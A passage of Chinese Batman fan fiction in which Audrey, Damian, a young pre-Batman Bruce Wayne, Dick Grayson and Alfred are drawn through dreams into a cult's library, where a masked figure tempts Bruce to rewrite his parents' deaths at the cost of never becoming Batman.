“他抢了我的理由！”奥德莉悲愤。“我的理由也是这个啊！” “好好好，你们俩可以共用一个。”格温哄道。 “彼得去哪儿了？” “他说临时有点事，一会儿就回来。” “你们每天都加班这么晚吗？”奥德莉心疼道。 “最近有一个重要突破，我们希望早点完成。” “意味着哈利的病可以被完全治好吗？” “目前还不能，但可以控制住不再发展。”格温叹气。 “加油！”奥德莉和格温拥抱了一下。“帮我告诉彼得他错过了我的远道来访。” “他一定很郁闷。”格温确定好奇宝宝彼得在看了笔记之后会想亲自问奥德莉一百个问题。 第58章 奥德莉送还门禁卡时，哈利正在会议中，只对她点头示意，然后指指一旁的…… 奥德莉送还门禁卡时,哈利正在会议中，只对她点头示意，然后指指一旁的几个盒子让她带走。奥德莉看了看,发现是各种糖果,高兴地抱起它们,对哈利挥挥手，然后传送离开了。 布莱克已经爱上了布鲁斯送的华丽打字机，将其作为自己新的宝座,没事的时候就趴在上面。听到奥德莉回来，布莱克立刻嗖地一下跳过去，主动帮忙把几个盒子都拆开。 “这个糖是最近的新品，非常难买到。”布莱克很识货地指点江山,对每个牌子进行点评。“这个主打颜值,味道只是一般。” 奥德莉觉得布莱克的抖音真是没白刷，对流行趋势了如指掌,避免了她这只山猪吃了细糠却没意识到的悲剧。布莱克逐一审阅完，又夸赞道：“哈利真是有品位，或者他的秘书有品位。” “我发现你在评判达米安之外的人时,都挺公允的。”奥德莉小声嘀咕。“猫猫相争何时了。” “你说什么？”布莱克没听清,但感觉不是什么好话，瞪圆了绿眼睛。 “没说什么。”奥德莉立刻否认。 在糖果的香气间，奥德莉睡着了。 她走在一间巨大的图书馆里，复古的木制书架高得几乎触到天花板，木头的纹理呈现出诡异的花纹。 每层书架都被严严实实地塞满了书,但书脊上的字无一清晰可辨。奥德莉越是努力地想去看清,那些字就越是模糊不清。 她伸手试着去取下一本书，却触碰不到它,仿佛与它之间隔着一层薄膜。她换了一本书尝试，依然是无功而返。 “好奇怪的梦。”奥德莉喃喃自语。“我是不是对图书馆产生心理阴影了？” 她心里觉得这是梦境，但又觉得一切过于真实。她尝试召唤布莱克却没能成功，因此更倾向于这是在梦里。 我得赶紧找到出口。奥德莉这样想，沿着似乎没有尽头的书架走着。 这一定是梦。不然无法解释这间图书馆大得不正常的面积。 奥德莉忽然听见达米安在喊自己的名字，她朝声音的来处望去，看见达米安正在快速朝她跑来，很快到达她身边。 他为什么在我的梦里？奥德莉先是大惊失色，然后又觉得这是个千载难逢的好机会——最近达米安时不时让她感觉招架不住，深觉毫无年长者的威严，正准备重新占据上风。此时在梦里，她可以好好欺负达米安一下，既是报仇，也是演练。 下定决心后，奥德莉立刻牵起达米安的手，领着他探向书架：“你试试能不能把书取下来。” 达米安被迅雷不及掩耳地牵住手时，微不可查地僵住了，顺着奥德莉的力气由她摆布。他同样没能取下任何书，惊愕地问：“这是怎么回事？” “我不知道。”奥德莉耸耸肩。达米安以为她会松开自己，但她仍牵着他的手，快步朝他来的方向走去。“你来的时候，看到出口了吗？” “没有。”达米安有点茫然地说。 夜巡结束后，达米安做完日常记录就回房间休息了。他很少做梦，尤其是这么清晰的梦。 他第一次梦见奥德莉。在巨大书架的衬托下，她那一米七的身高看起来如此娇小。在他喊着她的名字跑过去之后，她那么自然地握住他的手，一直不松开。 我得赶紧醒过来。达米安严肃地想，一边偷偷回握住奥德莉的手，希望她不要注意到自己的小动作。 “你们是谁？”一个黑发蓝眼的年轻人出现在前方，对两人挥手。“你们是怎么到这里的？知道出口在哪里吗？” 达米安的瞳孔猛地收缩，他认出了那个人——那是还没有成为蝙蝠侠的布鲁斯韦恩，从他的肤色、发型和服饰来看，很可能是正在外游历阶段的布鲁斯。 这是我的梦吗？我为什么会梦到这个？达米安意识到不对劲了。他也许是真的睡着了，但他更像是被拉进了一个奇怪的地方，而非是在做梦。 “他看起来像是布鲁斯，但是好年轻啊。”奥德莉凑到达米安耳边，小声地说。她不知道自己怎么会梦见布鲁斯，不过梦总是荒诞的，她没必要从中寻找逻辑。 三人很快相遇了。布鲁斯看起来对眼前这两个陌生人有点警惕，尽管他努力掩饰了，但做得并不算好。他尚且青涩，比此时的达米安大不了多少，却没有达米安那么多实战经历。 “我们认识你。你是哥谭首富布鲁斯韦恩。”奥德莉主动打招呼。 “我们见过吗？”布鲁斯努力回忆着，并没有否认自己的身份。 “当然，不过我们的相遇在你的未来。”奥德莉说完，觉得自己听着像个骗子。布鲁斯沉默以对，但眼神透露出他正是这么觉得的。 布鲁斯正在喜马拉雅山修行，那身看起来有点脏兮兮又血迹斑斑的厚重潜行服、乱糟糟的头发、以及有点粗糙的皮肤，怎么看都不符合韦恩家少爷的身份。 此前他正倚着墙浅眠，忽然就到了这里，警戒值立刻拉满。听见对面的姑娘说出这种好似搭讪的话，他简直不知道该怎么回答。他也生怕对方问起自己的打扮，不知道如何解释。 “他是不是被绑架了？为什么看着惨兮兮的。”奥德莉又凑到达米安耳边窃窃私语。 布鲁斯听力过人，图书馆里又很安静，他清楚地听见了奥德莉的话，决定就用被绑架为借口了。 奥德莉一边说一边偷瞄布鲁斯，又问达米安：“我们是不是不应该告诉他你的身份？你知道，蝴蝶效应什么的。最好任何关于未来的信息都不要告诉他。” 布鲁斯的大脑开始疯狂运转，但刺客联盟和塔利亚的奇葩操作岂是年轻的侦探能推理出来的？哪怕达米安的五官和布鲁斯很像，布鲁斯的脑回路也不会疯狂跳跃到对面青年是自己未来儿子的结论上。 达米安的注意力一分为二，分别放在两人身上。他一贯仰望布鲁斯，此时看到尚未成为蝙蝠侠的父亲，有一种自己比对方更厉害的小小骄傲，又有胜之不武的感觉。 同时，依然认为自己在做梦的奥德莉已经放飞自我，在他的耳边凑得越来越近，以至于达米安已经感觉耳朵在着火，没有办法再继续装傻。 达米安很快想明白奥德莉的行为动机，有点哭笑不得。他必须立刻阻止奥德莉胡闹下去，因为她迟早会意识到不对，那时知情不报的他绝对会被打击报复。 虽然他很无辜，但奥德莉在面对他的时候，并不是很讲道理。达米安为这种区别对待而窃喜，同时也委屈巴巴。 “你不是在做梦。”达米安打断奥德莉，将两人的距离拉开一些，但并没有松开手。 “你怎么证明？”奥德莉不信。 “一到九，你猜猜我此时在想的数字是什么。”达米安冷静地说。“如果是你的梦，你应该能知道一切吧？” “一。”奥德莉随口猜测。 “是五。”达米安说。 “这证明不了什么。梦的走向经常是超出做梦之人控制的。我在自己的梦里也不一定是全知全能。不然我怎么会梦到这样的布鲁斯？”奥德莉振振有词。“虽然我在磕CP时喜欢美强惨的人设，但如果我能控制的话，我会选蝙蝠侠来扮演这个设定。” “因为他根本不是你梦到的！”达米安被奥德莉的诡辩噎住了。“我们可能都是在睡梦中被拉到这里来的。” “那为什么出现的不是现在的布鲁斯？”奥德莉反问。 “我不知道。也许他甚至不是我们世界的布鲁斯。”达米安继续努力说服奥德莉。“我在看到你的时候，以为是你出现在了我的梦里。如果我是你梦出来的，我会有自主思维吗？” 奥德莉有点被说服了，但是思路被最后一句话带偏：“你以为自己梦到我了？” “我很少做梦。”达米安答非所问。 “你为什么会梦到我？”奥德莉锲而不舍地追问。 “事实上我没有梦到你。”达米安还是不正面回答。 “你确实自己不是被我梦出来的吗？”奥德莉不太想面对现实。 “你想让我怎么回答？”达米安诚恳发问。 “我希望我赶紧醒过来。”奥德莉已经相信了达米安的推测，郁闷地说。“不然我们又要开始寻找图书馆的出口，你不觉得既视感很强吗？” “会不会还是外神犹格索托斯的信徒在搞鬼？那也就能解释为什么他们能把不同时间点的布鲁斯拉进来。”达米安也觉得此情此景旧日重现。 布鲁斯在一旁听到现在，终于忍不住了：“你们还要聊多久？我们赶紧去找出口吧。” 三个人一起沿着仿佛没有尽头的书架走着，不知过了多久，远处又出现了一个人。 “还来？这是要把整个哥谭的人都拉进来才算完成任务吗？”奥德莉吐槽。 新出现的男人穿着黑蓝色紧身制服，身材线条完美到奥德莉有点不好意思看。她其实偷瞄了几眼，也许是很多眼，然后发现达米安在瞪自己，立刻把视线固定在来人的脖子以上部位。 “迪克格雷森？”奥德莉终于认出对方是在圣约翰福利院做义工时见过的那位警察。“你怎么穿成这样子？” 男人的第一反应是想否认，然后想起自己在安全屋小憩时摘掉了多米诺面具。紧接着他发现达米安看自己的眼神已经在发射飞刀了。 “我……我在cosplay？”迪克犹犹豫豫地说。 “原来你是夜翼的粉丝。”奥德莉又顶着达米安的怒火偷偷看了几眼，认出了制服。对方是布鲁德海文的警察，这倒也很合理。 “呃……没错。”迪克说。他的注意力被布鲁斯吸引走了。 迪克听布鲁斯讲过很多游历期间的故事，很快认出了那身衣服是哪一段经历里的。看着这样年轻的布鲁斯，迪克那颗身为大哥的心开始蠢蠢欲动。 不过布鲁斯从来没说过他曾来到这样一间图书馆，是离开此地后失去记忆，还是眼前之人并不是这个世界的布鲁斯？ 第59章 迪克的热切眼神太过明目张胆，起初布鲁斯假装没看见，但迪克越靠越近，…… 迪克的热切眼神太过明目张胆,起初布鲁斯假装没看见，但迪克越靠越近，几乎是在贴着他走路,最后布鲁斯忍不住开口：“我们认识吗？” 布鲁斯的本意是提醒这个陌生人和自己保持社交距离,但实际效果是开启了对话。迪克正在犹豫该怎么打招呼最合适,听到布鲁斯的疑问，立刻用最温和的语气说：“现在还没有。我们的相遇在你的未来。” 达米安在旁边露出嫌恶的表情。同样的话由奥德莉来说，达米安觉得文雅可爱,但当说这话的人是迪克时，达米安表示自己的鸡皮疙瘩都被恶心得冒出来了。 你们俩是一个语文老师教出来的吗？布鲁斯看看奥德莉，又看看迪克。奥德莉正在自以为很隐蔽地看迪克的脖子以下部分，而迪克—— 迪克正在不自觉地对布鲁斯露出慈爱的微笑,这种和善到诡异的态度让布鲁斯警铃大作。 这真的不能算是多疑：一个俊美男人对着自己微笑不断,此人还穿着过于紧身的制服勾勒出一切能展露的肌肉线条，布鲁斯不得不怀疑对方另有所图。 虽然布鲁斯自认为此刻的自己绝不是颜值巅峰,甚至有点粗糙潦草，但萝卜青菜各有所爱，谁知道这个人会不会口味特殊。 如果迪克知道布鲁斯此刻的想法,一定会哭晕在地。但他对此一无所知,沉浸在自己的幻想里。 他看看布鲁斯，又看看达米安，嘴角翘得怎么也压不下去。他真想立刻带着两个弟弟（布鲁斯：你说什么？）去夜巡，那会是多么美妙的情景啊。 他听说过初出茅庐的蝙蝠侠对抓钩枪用得不熟练的黑历史，据说曾经几次甩出去而落空坠地。有鉴于此,眼前这位尚未出茅庐的布鲁斯一定需要他的再三指教。 他可以先勉为其难地穿上蝙蝠制服,布鲁斯是他的一号罗宾，而达米安可以做二号罗宾。 天啊,想到自己能同时带着两个罗宾出场，其中一个还是布鲁斯，迪克忍不住又激动地去看布鲁斯，没注意到后者的脸色越来越铁青。 奥德莉看看迪克的脸，又看看迪克的……她的眼神每次偷偷往下滑，旁边的达米安就轻声咳嗽一下。几次之后，奥德莉其实根本不是真的想去看迪克的身材，哦不，紧身制服了，只是达米安的反应实在太有趣，于是她时不时动作幅度很大地去“偷看”一眼。 这里是图书馆（虽然从书架上一本书也拿不下来），迪克穿成这样符合礼仪吗？达米安左顾右盼，期待快来一个图书管理员制裁迪克。 他第一万次地痛恨起迪克的夜翼制服。明明从头到脚一点肌肤都没露，但看着就好像一点肌肤也没盖住，比绿鳞小短裤还可恶。 达米安深恨自己穿的是居家服。如果他有一个斗篷，一定把迪克从头蒙到脚，让他变成一个圆润平滑的蚕蛹。 四人又走了一会儿，一个身穿深色睡衣的老人出现在前方。 “阿福/阿尔弗雷德？”四个人异口同声地喊出老者的名字。阿尔弗雷德对他们挥挥手，停下了脚步，站在原地等他们过去。 “我好像是第一次看到阿福穿睡衣。”迪克喃喃自语。“我一直觉得他的西装是焊死在身上的。” “感觉像看到阿福在裸奔。”达米安犀利评价，旁边的布鲁斯竟然点头赞同。 “你们有点太夸张了。”奥德莉虽然也没看过正装形态以外的阿尔弗雷德，但正常人不可能每天穿西装睡觉吧。“而且他的睡衣看着也是很严肃的款式啊，又不是说穿着海绵宝宝和派大星图案的。” “请不要再说了，我脑子里有画面了。”迪克惨叫。 “至少这说明阿福是需要睡觉的。”达米安赶紧转换话题，因为他的脑子里也有画面了。 尽管达米安和迪克绞尽脑汁地回忆，可阿福似乎没有不在线的时候——白天里阿福随叫随到，夜巡时阿福在做支援。他们睡觉前阿福总是忙碌不休，而他们睡醒时桌上总有当天刚做的早饭。更别说偌大的庄园被阿福打理得井井有条。 科学的解释：阿福是机器人，不需要休息。 不科学的解释：阿福是魔法师，有时间转换器。 在五个人汇合的时候，一束光很戏剧性地从头顶射下，将他们所在的区域照得格外明亮。几人下意识地眯起眼，在适应了突如其来的强光后，他们看到一个戴着铁皮面具、身着红色长袍的人站在前方。 “你是谁？”布鲁斯问。 “我是在此等待你的人。”红衣人说。 “是你把我们带到这里的吗？这是哪里？”奥德莉问。 “这里是血言教团的总部，只能通过梦境进入。”红衣人说出了一个奥德莉从未听过的名字。 “你信奉的神明是什么？”奥德莉追问。“犹格索托斯？” “祂只是我们的工具。”红衣人傲然地说，将强大无俦的外神视为自己达到目的的手段。“我们侍奉的是杯之准则。” “我知道侍奉杯之准则的血杯教团，你们是什么关系？”奥德莉想起那个已经日渐凋零的组织。他们提高己身的方式是吞噬，经常举行品尝血肉的盛宴。 “那是一群只知道追求食欲和生育的愚昧之人，他们以满足欲望为首要任务，自以为在饮下鲜血时会距离准则更近一步。”红衣人无差别地喷射毒液，无论是外神还是密教信徒在他眼中都是垃圾。“他们完全不理解赤杯的本质是苦痛，而不是诱惑。鲜血真正的、神圣的用途是裁定历史。” “那你为什么把我们带来？”奥德莉有种不好的预感。这人不会是要以他们的鲜血作为祭品吧。 “第六百五十二次神圣裁定即将开始，每一位裁定者都是对历史节点影响最大的人物。这次我们邀请的人是布鲁斯韦恩。按照惯例，他的父母和最重要的孩子将作为见证者。他的父母早已去世，因此我们邀请了最接近他父亲角色的人。” 布鲁斯露出震惊的神色，不是因为阿尔弗雷德被认为像他的父亲，而是因为在场的另外两个青年竟然是他的孩子。他被迫窥见了未来。 但这两个孩子彼此之间一点也不像。难道他会有两任妻子吗？布鲁斯不由自主地思索起这个问题。 不过往好处想，至少迪克的奇怪眼神有了答案。虽然在父子关系的前提下，迪克的反应也称得上古里古怪。 阿尔弗雷德的面色如常，一贯地处变不惊。自从他看到年轻的布鲁斯后，他的视线一直落在对方身上。恍然间，他又一次看见那个在雨夜里悄然离开哥谭的年轻人：他在壁炉上留下一张字条，然后步伐坚定地朝大门走去，却又带着某种只有离乡之人才能懂得的迟疑。 数十年过去了，他竟有机会短暂地窥见布鲁斯在寻觅意义、挣扎前行的岁月里的样子。他狼狈但不屈不挠，眼底尚未积累倦怠。 这是尚未成为蝙蝠侠的布鲁斯。 迪克和达米安的脸上都是先闪过一丝惊喜，然后变为愤怒。听到自己是布鲁斯最重要的孩子时，他们的第一反应是开心，可他们都很清楚布鲁斯对子女的爱是毫无偏颇的、倾尽所能的，他们不能接受这种对布鲁斯的指责。 “你怎么能把未来告诉布鲁斯？”与旁边几人的百感交集相比，奥德莉一心想的是蝴蝶效应。不过知道自己会有两个儿子可能不会有什么重大影响吧，布鲁斯总不至于因为长子热爱cosplay而决定孤独终老。 “我知道你在担心什么。你们离开时不会记得这里发生的任何事情。”红衣人波澜不惊。 这倒是说得通。否则布鲁斯一定会将这件事告诉孩子们，那他们刚才出现在这里时便不会是一无所知的状态。 最大的担忧被解决，奥德莉又冒出新的问题。 “最重要的孩子为什么会有两个？”奥德莉在“最”字上加了重音。“而且，迪克是布鲁斯的孩子？！” 新闻好像是说过韦恩家的第一个养子去做了警察，奥德莉对那位早已淡出公众视线的长子没有太多了解。原来就是迪克吗？可达米安和迪克在圣约翰福利院假装互不相识，难道又是什么豪门恩怨？ “通常我们只会邀请一位孩子，但布鲁斯的孩子太多了，他爱着他们所有人，我们难以抉择。因此我们破例选了两位，他的第一个孩子，以及第一个亲生孩子。” 信息量好大。布鲁斯不知道该不该期待自己未来的感情生活和家庭生活了。这和他想象的完全不一样。 “那我又是怎么回事？”奥德莉迟钝地意识到这一点，惊恐地指着自己：“我和布鲁斯有什么关系吗？” “你只是个意外。”红衣人第一次有了剧烈的情绪波动，不高兴地抱怨。“你出现在达米安的梦里，被一起带进来了。” “你真的梦到了我！”有红衣人的话作为证据，奥德莉立刻看向达米安。 达米安抿抿嘴，感觉很意外，也很遗憾，因为他根本不记得自己梦到了什么。他唯一记得的就是和奥德莉在图书馆相遇，而那时他们已经被从自己的梦里带到此处了。 “这种事情从未发生过。”红衣人还在愤然。“我尝试将你从他的梦中驱逐，但是他对你的保护欲太强烈了，我无法在不惊醒他的前提下让你离开。” 奥德莉和达米安正在各自蓄力，准备进入拌嘴模式，红衣人的话让两人瞬间哑火，看天看地看阿福，就是不看对方。 “你需要我做什么？”布鲁斯很直接地问。 红衣人从身侧的书架上取下一本血红封面的书：“这是红誓之簿。一切真实，皆需以血书写。” “谁的血？”布鲁斯警惕地问。 “我的。”红衣人淡然地说。“我曾经发下誓言，为教派奉献血肉。” 第60章 红衣人将书打开，里面却只是空白书页。他恭敬地说：“我将侍奉裁定者书…… 红衣人将书打开,里面却只是空白书页。他恭敬地说：“我将侍奉裁定者书写这一册。凡未书之事，皆可书。” “裁定哪些事件是历史，决定哪些历史是未来,这不是司辰的权柄吗？”奥德莉不敢相信自己的耳朵。 “没错,但并非只有司辰可以做到。裁定者可以写下‘被相信会发生的过去’。”红衣人说。 “这不就是修改历史吗？蝴蝶效应之下,我们会不会都消失？”奥德莉问。“蝴蝶效应”这四个字今晚她已经说累了。 “也许吧。”红衣人漠然地说，完全不在乎自己和他人的命运，非常有狂热信徒的风范。 “那如果两位裁定者书写的历史互相矛盾,是依据先书者还是最后成文者为准？”奥德莉很有学术精神地提问。 对这个压根不在邀请名单上的客人，红衣人竟然也耐心回答：“不会有这种情况发生。裁定者只能书写他们在世时的时间段内的事件，我们邀请的裁定者从未共享同一段时间。” 既然红衣人乐于回答，奥德莉便继续提问：“你说这是第六百五十二次裁定,但书架上的书远超这个数目。你们是否连接着不止这一个历史分支？” “是的,这间图书馆不存在于任何一个历史，又同时存在于所有历史。”红衣人说。 “看来即使是司辰也不能一手遮天。只要市场的价值够重大,总会有竞争对手出现。”奥德莉吐槽。 在密大的学习令奥德莉觉得司辰的世界离她很远，同时她认为司辰的强大是无可匹敌的。 可到哥谭不过短短两个月，她便发现人类自己才是最强大的。从普罗米修斯盗火的那一刻起,人类的DNA便被烙印下不屈的意志与反抗的勇气,代代相传，从未熄灭。 清算人、血言教团……人类从不满足于膜拜，他们一次次伸出手去触碰那些本不属于凡人的权柄。他们不只是祈祷者，更是篡夺者。 达米安和迪克对视一眼，都想到了闪电侠的经历。闪电侠曾为了救回早逝的母亲而修改历史,最后导致整个世界的走向变得非常不同,每个人的命运都因此被影响了。 例如，布鲁斯在八岁那年死于犯罪巷的抢劫,他的父母活了下来，父亲托马斯成为了黑暗版本的蝙蝠侠，母亲玛莎因失去儿子而疯癫，成为了那个世界的小丑。 如果布鲁斯想要修改某段过去，尤其对是年轻的布鲁斯来说，韦恩夫妇在犯罪巷的死亡一定名列榜首。 阿尔弗雷德沉默地站在布鲁斯身后。尽管知道改变过去可能造成种种可怕后果，但在他的内心深处，他曾无数次幻想过布鲁斯不做蝙蝠侠的样子：他会无忧无虑地长大，然后安安稳稳地结婚生子，做一个快乐的儿子、丈夫和父亲。而这一次，隐忍的幻想有可能成为现实。 但无论布鲁斯如何选择，阿尔弗雷德都会接受。一如既往。 “你想让我裁定哪段历史？”布鲁斯已经意识到了什么，声音微微颤抖。 “在你八岁的时候，你和父母去哥谭剧院观看新上映的剧目《佐罗》，散场时已经是深夜。管家阿尔弗雷德在家为你们准备夜宵，司机因为闹肚子而迟到了一会儿。”红衣人娓娓而谈，仿佛曾亲眼目睹一切。 他继续讲着布鲁斯永远无法忘记的那个雨夜：“你和父母热烈地讨论着剧情，无意中走到了一旁的帕克街。一名持枪歹徒拦住你们试图抢劫，你的父亲托马斯想要保护家人，却被慌张的歹徒射中，你的母亲玛莎伸手抱住倒地的托马斯，旋即也被杀害。” 布鲁斯记得年幼的自己跪倒在血泊中无助地哭泣，雨水和泪水混杂在他的脸上。他想捡起断裂的珍珠项链，但他的视线太模糊、双手太颤抖，散落的珍珠怎么也找不到、捡不起。 医护人员赶到后，很快确定韦恩夫妇已经死亡，他们只能为唯一的幸存者布鲁斯裹上毯子。 在闪烁的警灯、救护车灯和相机闪光灯下，布鲁斯丧失了对时间的感知。在他意识到之前，阿尔弗雷德已经站在他身边了。 “然而，有这样一种可能性。”红衣人话锋一转。“那名歹徒只是一个临时起意的蠢货，他的枪是黑市买的劣质货，在大雨之中卡弹了。慌张之下，歹徒丢下枪逃走，留下惊魂未定的你们。自此之后，韦恩家加强了安保措施，再也未曾踏入险境。托马斯和玛莎陪着你长大，你们是公认幸福的韦恩一家。” 红衣人描述的场景让布鲁斯有一瞬间的恍惚，但短暂的激动之后，他冷静地问：“听起来真不错。那我需要付出什么代价？” 他早已走过天真的年纪，明白命运总在暗中标好了价格——写在血里，写在梦里，写在你最不愿看的那一页人生里——有些要用鲜血去换，有些要用灵魂偿还。 “你将无法成为蝙蝠侠。”红衣人轻描淡写地说。 在布鲁斯开口之前，奥德莉已经惊呼出声，然后迅速地捂住嘴。 潜意识里，奥德莉早就已经猜到真相。只是她纵容自己做一只鸵鸟，以尊重他人隐私的名义避免自己的心理创伤。 布鲁斯韦恩是蝙蝠侠。这个想法哪怕只是冒出一点头，奥德莉都觉得要打个激灵。 尤其是当她想起自己说过的那些话时，真想找个地缝钻进去。如果能去其他星系旅居一辈子也不错。总之这个地球是没法待了。 一旁的达米安僵住了，因为他最担心的事情还是发生了。即使红衣人没有说他们离开后会失去在这里的记忆，他也信任奥德莉在知道蝙蝠侠的真实身份后会严守秘密。他更不担心奥德莉会责怪他没有告知，因为奥德莉对他人隐私一贯抱着尊重的态度。 他只是担心奥德莉会因为尴尬而不理自己。坦白讲，奥德莉说的那些傻话，哦不，粉丝言论，真的有点羞耻。 至于布鲁斯的回答，在场几人中只有达米安毫无迟疑地认定布鲁斯会选择成为蝙蝠侠。 在握住神奇女侠的真言套索并被问及身份时，神奇女侠说自己是“天堂岛的戴安娜、希波吕忒女王之女”，超人说自己是“克拉克肯特、卡尔艾尔”，而蝙蝠侠只说自己是“蝙蝠侠”。 虽然无视自己也是布鲁斯韦恩这种行为从心理学上来说是个很严重的问题，但对于被刺客联盟培养的达米安而言，这只代表着蝙蝠侠对自己身份的坚定认同。即使是眼前的布鲁斯，达米安也不认为他会选择其它道路。 迪克和阿尔弗雷德与奥德莉虽然相处不多，但蝙蝠家内部对奥德莉的关注度很高，起初是因为她的实习职位，后来是因为她和达米安的来往密切，全家老少都喜闻乐见地围观吃瓜。 因此，他们对于奥德莉知道蝙蝠侠的真实身份并不担心，两人的关注点都放在布鲁斯身上。 与对蝙蝠侠全然崇拜的达米安不同，他们更了解布鲁斯脆弱的那一面，知道失去父母的惨痛经历对他意味着什么，更明白红衣人的提议对年轻的布鲁斯是多么巨大的诱惑。 阿尔弗雷德陪着布鲁斯成长，看着布鲁斯变得坚强。男孩终于不再在深夜里偷偷哭泣，也不再红着眼圈问阿尔弗雷德“为什么”。 在歹徒被抓住后，警方发现他并非故意针对韦恩家作案，而是藏在巷子中随机打劫路人。更可笑的是，他本来只是想用枪作为威胁，失手杀人后他甚至慌乱到连财物都忘了抢走，连带着指纹的枪都落在了现场。 布鲁斯无法接受父母的死亡竟然是因为如此荒谬的原因，他试图找到更深刻的理由，比如歹徒是受人雇佣或是替人顶罪，但无功而返。因为现实正是如此荒谬。 逐渐地，布鲁斯停止对命运质问“为什么”，但他从没停止过想象父母如果还在的模样。 而现在，有人问他：如果你可以改变一切，你愿意吗？ 这不仅仅是诱惑，这是布鲁斯痛苦的源头在对他召唤：你可以结束我了。 “蝙蝠侠……那是什么？”布鲁斯打破了暗潮涌动的沉默。 “那是一个戴着面具行走在哥谭的黑夜中的人。他是哥谭的传说，是罪犯的梦魇，也是孩子们窗边守望的影子。”红衣人说。 望着布鲁斯，红衣人像是在赞美，又像是在劝诫：“蝙蝠侠守护着哥谭，打败了无数恶棍和疯子，粉碎了无数阴*谋——他明明赢了那么多次，却好像从未真正胜利。那条路仿佛永远走不到终点。” 他顿了顿，声音中带上了怜悯和诱导：“但你为什么要去背负那些呢，布鲁斯？如果你的父母还在，托马斯会用智慧与财富改变哥谭，玛莎会用她的温柔和善意让人们重新燃起希望。他们会用属于他们的方式让哥谭变得更好。他们不会选择黑暗，更不会希望你成为它。” 奥德莉听懂了红衣人的意图：他希望布鲁斯改写父母去世的历史，随之而来的就是哥谭将不再有蝙蝠侠。 有那么一瞬间，她热血上头，为了偶像蝙蝠侠可能被抹杀而愤怒。 但她随即意识到，任何人都没有资格要求布鲁斯必须踏上那条充满荆棘、伤痕与泪水的疲惫道路。他的付出并不是理所当然。 有权做决定的，只有布鲁斯。 对于年轻的、尚未成为蝙蝠侠的布鲁斯来说，即使他知道了哥谭将会失去它最忠诚、最重要的守护者，即使他知道无数人的命运将会随之改变，相较于父母仍在世，一切其它事情可能都没那么重要。 但是—— “你选择年轻的布鲁斯来裁定，是因为你认为蝙蝠侠信念坚定，不会被你蛊惑，但年轻的布鲁斯尚存软弱和犹疑吗？”奥德莉语气中忍不住带上了讥讽，直接戳穿红衣人的不良居心。【你现在阅读的是 】 60-70 第61章 对于奥德莉的直白质问，红衣人以沉默做答。奥德莉气呼呼地瞪着红衣人，…… 对于奥德莉的直白质问,红衣人以沉默做答。奥德莉气呼呼地瞪着红衣人，摆出要和他对峙到天荒地老的姿态，带着年轻人特有的横冲直撞的锐利。达米安站到奥德莉身后,无言地用行动表示对她的支持。 布鲁斯有点惊讶地看了奥德莉一眼,没想到她会忽然爆发。 基于奥德莉的言行,布鲁斯能猜到她在未来不仅认识蝙蝠侠，还对蝙蝠侠颇为认可甚至是推崇。只是他很少被人这样维护，有些不习惯。阿尔弗雷德对待敌人的方式一贯是内敛克制、不动声色的,从来不会这样针尖对麦芒。 迪克自出现以来一直带着的活力满满的笑容消失了，取而代之的是严肃的神情：“除了布鲁斯之外，我们都是来自同一个时间点的。为什么不请我们的蝙蝠侠来？” 红衣人依然没有回答，直到布鲁斯也开口询问：“我也想知道,为什么是这个时间的我。” 这一次,红衣人终于说话了：“根据仪规，我可以自主选择请哪一个时间点的裁定者前来。” “这不是我的问题。我想知道的不是规定,而是你在规定下做出这个决定的理由。”布鲁斯说。 “裁定者必须具备成熟心智来理解他的选择。”红衣人又一次给出并不明确的回答。 “原来如此。要是没有这个规定，我想你会选择召唤刚失去父母的布鲁斯吧。他更可能做出你想要的选择。”奥德莉恼火地说。即使是狂热粉丝如奥德莉，也不会觉得八岁的布鲁斯会选择去做蝙蝠侠而不是让父母回到自己身边。 阿尔弗雷德也因为红衣人的回答而皱眉。红衣人召唤的甚至不是刚披上披风的蝙蝠侠,他的意图已经很明显了。 作为一路见证蝙蝠侠从青涩走向成熟的旁观者,阿尔弗雷德很清楚布鲁斯不是没有过动摇和自我怀疑的： 当他暗中让韦恩集团资助单亲家庭，却发现许多家长用收到的钱去购买毒品时； 当他救下一个年轻人，却在第二天发现他死在另一场帮派火拼中时； 当他放过一位初犯盗窃的少年并劝他重归正路，却在下一次相遇时发现少年成了向他开枪的人之一时； 当他将黑/帮高层的犯罪证据匿名交给检察官，却发现检察官当晚就联系黑/帮并收取贿赂时； 当他瓦解一个犯罪团伙,却很快发现另一个新的帮派悄然崛起时…… 有那么几次,布鲁斯几乎想要放弃。他开始怀疑哥谭早已无可救药——这座城市像一片深不见底的沼泽，越是奋力清除腐败与罪恶,就越深地陷入其中，所有的努力最终都只是徒劳挣扎。 他想不通自己所做的一切到底还有没有意义，甚至怀疑自己的坚持从一开始就是无用的。 但不论内心如何挣扎，他从未停下脚步。每当夜幕降临，他仿佛忘了一切糟糕的过往，又一次穿上制服走向黑暗。 阿尔弗雷德确定红衣人能看到蝙蝠侠的早年岁月，但红衣人甚至不敢去冒风险将那时的蝙蝠侠邀请至此，可见他是多么希望布鲁斯会选择复活父母。 或者说，他是说多么希望蝙蝠侠消失。 “你是否必须回答裁定者的问题？”布鲁斯忽然换了个话题。 “是。” “必须如实回答？”布鲁斯又问。 “我不能对裁定者说谎，因为裁定者只有基于真实的信息才能做出正确的裁定。” “所以只要我在场，你就必须说实话，哪怕问题是其他人提出来的。但你可以选择不回答其他人的问题，甚至可以不正面回答我的问题。”布鲁斯做出了判断：“你说的全部是实话，只是实话从来不意味着全部真相。” “我觉得裁定者应该知道全面的真实信息才能做出正确的裁定。”奥德莉望着冷静分析的布鲁斯，不知不觉也平静了下来，但还是有点不高兴地吐槽一句。 “我只能邀请一个时间点上的裁定者来书写红誓之簿，”红衣人顿了顿，主动说出自己的能力：“为了帮助裁定者了解全面的信息，我可以将另一个时间点上的裁定者连线至此。就像是三维投影版本的视频通话。” 没等几人说话，红衣人已经打了个响指：“我想八岁的布鲁斯最了解自己曾经的痛苦。他的立场必须被倾听。” 一个房间的投影忽然出现在书架之间。除了奥德莉，几人都认出那是布鲁斯小时候的卧室。 窗帘紧闭，床头的灯亮着，泛出昏黄光晕。墙上的钟悄无声息地指向三点。 八岁的布鲁斯将脸埋在枕头里，小声地啜泣着。 “你好，布鲁斯。”红衣人的声音响起。小布鲁斯被吓了一跳，立刻坐起身环顾四周，然后惊愕地看着出现在自己房间中的投影，以及投影中的几个陌生人。 不，有一个人他认得。 “阿福？” “布鲁斯……少爷。”阿尔弗雷德久违地喊出这个旧称呼。他的嗓音有点哑，但很温柔。“不要怕，这只是你的梦。” 有阿尔弗雷德在，小布鲁斯便不害怕了。他好奇地说：“这里是我的梦？那这些人是谁？” 